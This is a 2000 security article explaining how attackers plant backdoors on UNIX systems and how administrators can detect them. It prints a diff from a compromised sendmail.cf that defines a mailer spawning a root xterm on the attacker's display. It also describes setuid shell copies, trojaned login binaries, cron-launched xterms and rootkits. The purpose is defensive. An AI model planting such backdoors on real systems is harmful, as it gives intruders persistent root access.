Kurt Seifried, [email protected], Copyright Kurt Seifried 2001
June 28, 2000 - Backdoors are by far one of the worst nightmares of many system and network administrators. We all know our networks and hosts will at some point be penetrated, and if we've done our job right we should be able to detect that penetration. However, one problem always rears its ugly head: Do we format the drive, reinstall from trusted media, then patch the system, configure it, and restore data from backups; or do we just try to patch the system up and remove any surprises the attacker may have left? In some cases it is clear-cut: For a user's workstation with most data stored centrally, rebuilding the system is far faster than trying to fix it. On the other hand, what if you have a production email server handling incoming email for 10,000 people and no backup machine to switch to?
As with any security problem, we need to understand this completely, which means learning how an attacker can place backdoors on a system. Working from this point, it's relatively simple to devise defenses. Because of the complexity in most UNIX systems (network daemons, hundreds of installed programs, etc.), there are many methods and places to squirrel away backdoors. Basically, the attacker needs to have some form of network access to the machine, e.g. a telnet account or the ability to send ICMP packets. Also necessary is compromised software on the machine, e.g. a setuid shell hidden in their home directory, or a Trojaned login binary.
Once the attacker gains root, they simply make a copy of /bin/bash (or their favorite shell), set its ownership to the user or group root, and then set it setuid or setgid. Thus, when they run the shell it runs with root privileges, and they can do whatever they want to on the system. This is a somewhat clumsy method, since such shells are easily detected by a simple
find / -perm +6000
compared to a previous list of setuid and setgid binaries. To avoid this, the attacker can simply label their setuid shell as a normal (but unused) setuid program such as /sbin/restore. The best way to detect this type of activity is to use a secure cryptographic algorithm such as SHA1 to create signatures of binary files, and compare them to detect any changes. Additionally, you should audit the system for setuid and setgid programs and try to remove as many of them as possible. Most modern systems don't need the vast majority of them. An extension of this is setuid/setgid programs that can be abused to gain root access, for example dump. It is critical to keep these programs up to date, which is one reason removing them is a very good idea. One of our cover stories on this is excellent.
Any network daemons that run with root privileges, which many of them do, are a prime target for compromise. There are versions of login which, when fed a certain username ("gotroot?" for example), spawn off a root shell without prompting for a password. In addition, the more complicated a daemon is, the more room for implanting a Trojan. A perfect example of this is Sendmail. The following is output of a diff from a compromised Red Hat 6.0 box's /etc/sendmail.cf:
# 1) Part # Here we define the Class(Like Array) of k85a86,87 > # Trojan Class definition > Cktrojanhorse # 2) Part # here in Rules S0 we place a condition # LHS RHS Comment # If the format of e-mail is: # "one of element in Class k"@Something # then deliver through hack mailer, assign $2 to host # and $1 to username 605a608 > R$=k < @$* > $* $#hack $@ $2 $: $1 Trojan Mailer redirect # 3) Part # This is important, here we define the action... we send # an xterm to sender host 1157a1161,1164 > > # Trojan Mailer > Mhack, P=/usr/X11R6/bin/xterm, F=FMAlsSux, S=10/30, R=0, > D=$z:/, A=xterm -display $s:0.0
With this, all the attacker has to do is telnet to the box and manually send mail as from someone@trojanhorse, and they receive an xterm running as root on their box. This technique has the disadvantage of being clear text in a config file. However, very few administrators will ever dig through their sendmail.cf line by line. The advantage is that if an admin does run software such as Tripwire and notices that sendmail.cf has changed, they may think it is routine system maintenance. One method to prevent this type of behavior is to use SubDomain, which prevents programs from accessing files and executing binaries they shouldn't.
Another exploit floating around is a set of patches for SSH that allow for the logging of passwords to a secret log file. This one is particularly nasty for several reasons:
Once an attacker gains root, the possibilities are endless. This is why it is critical to have capabilities in place to detect intrusions and their extent.
Another way to get an xterm running as root to appear on your machine would be to use cron, a program that runs tasks at specified times. By editing root's crontab, or system crontab entries, an attacker could easily set it to run xterm at 4:27 a.m. on every Wednesday - something most administrators would not notice unless they checked their crontab entries regularly. Restricting user access to cron and checking root's and the system crontab entries regularly is encouraged. Another sneaky way would be to modify a system script that is run weekly, say, the script that runs "updatedb" (usually at 4 a.m. Sunday), to fire up an xterm (or whatever) to the attackers machine. Again, the best way to deal with this is to use Tripwire or similar software to monitor changes to programs and configuration files. It is also a good idea to backup these files so you can compare them in future (using diff, for example).
Most systems have at least a few exploitable holes. If the attacker is feeling brave and doesn't want to leave any traces, they may elect to simply re-exploit the machine each time they want to get in. This technique is quite effective at universities, which tend to have hundreds and sometimes thousands of poorly (if at all) maintained UNIX machines on their networks.
Rootkits are sets of tools to replace such system binaries as ls and ps, so that the attacker can evade detection. These can be found relatively quickly if the system is using a program such as Tripwire correctly. However there is a better way to skin the proverbial cat. By using a kernel rootkit, you can effectively hide it from the admin with almost a 100% guarantee. Because it is at such a low level of the system - at the kernel - it can block and manipulate system calls, such as ones used to query what kernel modules are loaded, what is in memory, and so on. There are several defenses against this:
In UNIX, and to a large extent in any modern network OS, there are hundreds of hiding places to put backdoors and Trojans in. The best way to defend against them is to reduce the complexity of the system. For example, each server should have one primary function, i.e. DNS, SMTP, POP, WWW, and so on. Remove any unneeded software, especially anything that uses setuid or setgid binaries. If possible, disable things such as kernel modules and compile a static kernel. The chance to save 50K of memory by having the tape drive support compiled in as a module generally isn't worth the bother. Use multiple layers of security - for example, have a firewall that blocks all outgoing packets except for certain kinds, and possibly logs all the packets during off hours. This way, if an attacker installs software that "dials" home (for example, by sending out an xterm) the firewall might block it, or at least log it. Install and use software like Tripwire properly, and have a set of valid check sums.
Reference links:
SubDomain
http://securityportal.com/closet/closet20000426.html
NT Rootkit
http://www.rootkit.com/
Back Orifice 2000
http://www.bo2k.com/
Rootkits
Forty-nine backdoor exploits ranging from the SSH patches
to full rootkits for Linux and Solaris, including kernel rootkits
http://packetstorm.securify.com/UNIX/penetration/rootkits/
Last updated 20/12/2001
Copyright Kurt Seifried 2001